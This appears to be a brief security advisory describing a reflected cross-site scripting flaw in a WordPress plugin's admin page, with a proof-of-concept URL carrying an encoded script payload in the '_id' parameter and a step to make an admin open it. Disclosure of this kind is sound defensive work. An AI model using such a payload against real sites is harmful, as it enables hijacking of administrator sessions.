Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make an admin open the URL: https://example.com/wp-admin/admin.php?page=w4c_devmode&_id=%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E